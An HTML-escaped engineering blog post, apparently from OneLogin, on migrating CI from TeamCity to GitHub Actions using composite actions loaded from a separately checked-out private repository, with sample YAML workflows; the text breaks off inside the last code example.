&lt;p&gt;TeamCity served our needs in the early days of CI. We leveraged &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.packer.io&#x2F;&quot;&gt;Packer&lt;&#x2F;a&gt; to build AMIs for TeamCity agents so that our projects had the necessary OS dependencies for testing as well as &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;puppet.com&#x2F;&quot;&gt;Puppet&lt;&#x2F;a&gt; to automate deploying TeamCity and the agents. As more projects were onboarded to TeamCity, we made use of build configuration templates to help simplify managing the multitude of projects.
At a high level, the design of the TeamCity pipeline architecture is illustrated in the following diagram:&lt;&#x2F;p&gt;
&lt;p class=&quot;center-text&quot;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;ci-architecture.png&quot; width=&quot;30%&quot; alt=&quot;TeamCity pipeline architecture&quot;&gt;
&lt;&#x2F;p&gt;
As you can see, a fairly straightforward architecture for a CI pipeline. As the requirements of the CI pipeline evolved (i.e. using Docker Buildkit, switching registries, etc.), we were able to propagate these changes through the build configuration template to 50+ repositories effortlessly.
We were able to get by with TeamCity for quite awhile as it met many of our needs. However, as time went on, our CI infrastructure was becoming fragile. TeamCity agents would need redeploying because they got in a weird state that would cause test executions to fail. Or, builds would be queued for an intolerable amount of time because our monolith projects exhausted all available TeamCity agents. These pain points with the CI infrastructure forced us to re-evaluate what we wanted from a CI platform.
## Reassessing CI Requirements
&lt;p&gt;It became clear that TeamCity was no longer going to meet our needs. For the Platform team, the #1 need that we had was CI infrastructure would not be managed by us. We no longer had the capacity to continue managing the infrastructure that would support the CI platform. Furthermore, we need CI infrastructure to be “infinitely” scalable, which was not feasible with TeamCity due to licensing costs. We could no longer tolerate long build queues because it was starting to impact new releases of the OneLogin product.
Not only did we have new infrastructure requirements, but we also had new usability requirements. Much like our infrastructure, which leverages Infrastructure-as-Code, we wanted CI-as-Code (CIaC) to describe the CI pipeline. We were also looking for a solution that allowed changes to the CI pipeline to be localized to the branch modifying the CIaC file. The lack of this feature in TeamCity made it difficult to roll out changes to CI without impacting other projects.
Once the requirements were gathered, it was time to examine the options available to us. We had looked at different open source solutions like &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;concourse-ci.org&#x2F;&quot;&gt;Concourse CI&lt;&#x2F;a&gt;, but these are self-hosted solutions and therefore didn’t meet the infrastructure requirements. We considered vendors like &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;codefresh.io&#x2F;&quot;&gt;CodeFresh&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;codepipeline&#x2F;&quot;&gt;AWS CodePipeline&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.gitlab.com&#x2F;ee&#x2F;ci&#x2F;&quot;&gt;GitLab CI&lt;&#x2F;a&gt;, and GitHub Actions. Since AWS and GitHub were already cleared by the security team as acceptable vendors for our infrastructure and VCS, respectively, we narrowed the choices down to AWS CodePipeline or GitHub Actions. AWS CodePipeline and GitHub Actions checked off many of the same boxes, however, GitHub Actions provided branch-level CI pipelines. Given this, we felt that GitHub Actions was the better solution for our needs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-dawn-of-github-actions-at-onelogin&quot;&gt;The Dawn of GitHub Actions at OneLogin&lt;&#x2F;h2&gt;
&lt;p&gt;After deciding to pursue GitHub Actions, it was time to evangelize it to the rest of the engineering team. With the help of many adventurous colleagues, several projects showcased GitHub Actions as a CI solution. We also demonstrated how to handle secrets in CI to get the support of our security team. The portfolio of success stories provided the evidence needed to get organizational buy-in to make the transition from TeamCity to GitHub Actions. It was time to write up a migration strategy and design a new CI pipeline, or as it will now be called, a Workflow, using GitHub Actions.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;designing-the-github-actions-workflow&quot;&gt;Designing the GitHub Actions Workflow&lt;&#x2F;h2&gt;
&lt;p&gt;Leveraging the tools used in the TeamCity build configuration was important to carry over to the GitHub Actions workflow. Our goal was to keep as much of the existing CI pipeline architecture as possible. It would help reduce the amount of work needed to port our CI pipeline to a CI workflow.
To help us understand how we might port our TeamCity build configuration to a GitHub Actions workflow, we met with the GitHub support team and engineers that worked on GitHub Actions. They gave helpful guidance on how to leverage GitHub Actions as well as an opportunity to talk about needs that were not supported by the existing features. Most notably was that workflow composability was not as capable as other CI solutions, such as GitLab CI.
Following these meetings, we set out on our mission to design a new workflow in August 2020. It was at this time that &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.blog&#x2F;changelog&#x2F;2020-08-07-github-actions-composite-run-steps&#x2F;&quot;&gt;composite actions&lt;&#x2F;a&gt; were added to GitHub Actions. This had a significant impact on how we structured the new workflow. Instead of having many small steps or few large steps, we could bundle steps into a composite action and just use it from the workflow. Providing abstractions in CI would later be instrumental in how CI is maintained, as well as simplifying adoption.
Something to note about GitHub Actions, if you are referencing a third-party action in your workflow and there is a typo in the reference, the workflow will never run because GitHub Actions was unable to prefetch the action. However, while toying with different approaches to using composite actions locally, a less than obvious behavior was discovered within GitHub Actions. Consider the following example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;to&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;dir&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The path to the directory that contains the action in your workflow’s repository.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;jobs&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;     my_first_job&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          steps&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;               -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; My&lt;&#x2F;span&gt;&lt;span&gt; first&lt;&#x2F;span&gt;&lt;span&gt; step&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;                 uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;github&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;my&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;action&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This looks like it should work, however, as noted in a &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.community&#x2F;t&#x2F;path-to-action-in-the-same-repository-as-workflow&#x2F;16952&quot;&gt;community support thread&lt;&#x2F;a&gt;, this fails at runtime with an error message stating that the action could not be found with a follow up question, “Did you forget to run actions&#x2F;checkout before running your local action?” If this isn’t guarded before runtime like third-party actions are, then this means that as long as the action becomes available at the specified path before the workflow arrives at that step, you can dynamically load actions from any source, even other repositories. This newly discovered capability just opened the door for making CI maintainable at scale on GitHub Actions.
We designed our new workflow to checkout the source code of the repository using the workflow as well as the repository containing the composite actions. The workflow references the composite actions to perform building and testing on our projects. The new workflow’s architecture now looks like this:&lt;&#x2F;p&gt;
&lt;p class=&quot;center-text&quot;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;ci-new-architecture.png&quot; width=&quot;30%&quot; alt=&quot;New workflow architecture&quot;&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, it is mostly the same as the TeamCity CI pipeline architecture. We have added the steps to checkout the repositories as the very first step. Furthermore, cleanup after testing is no longer necessary since GitHub Actions disposes of runners once workflow job execution finishes. Here is an example of one of our service repos using the new workflow:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;name: Docker IKE Test, Build, and Pus&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B31D28, #FDAEB7);font-style: italic;&quot;&gt;h&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;on&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;push&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;env&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  SERVICE&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; mappings&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;api&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;service&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  CPU_LIMIT&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;jobs&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  build_push&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;startsWith&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;github&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;ref&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;refs&#x2F;tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    runs&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;on&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; ubuntu&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;latest&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    steps&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;      -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; Dump&lt;&#x2F;span&gt;&lt;span&gt; GitHub&lt;&#x2F;span&gt;&lt;span&gt; context&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;        env&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          GITHUB_CONTEXT&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; toJson&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;github&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;        run&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;${GITHUB_CONTEXT}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;      -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; Checkout&lt;&#x2F;span&gt;&lt;span&gt; Service&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;        uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;checkout&lt;&#x2F;span&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span&gt;v2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;        with&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          path&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt; env&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;SERVICE&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; name&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; Checkout&lt;&#x2F;span&gt;&lt;span&gt; OneLogin&lt;&#x2F;span&gt;&lt;span&gt; Actions&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;        uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;checkout&lt;&#x2F;span&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span&gt;v2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;        with&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          repository&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;github&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;private&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          token&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt; secrets&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;IKE_BOT_PAT&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          path&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;setup&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;node&lt;&#x2F;span&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;general&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;secrets&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;to&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;env&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;        with&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;          SECRET_CONTEXT&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; $&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; toJson&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;secrets&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;install&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;ike&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;ike&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, 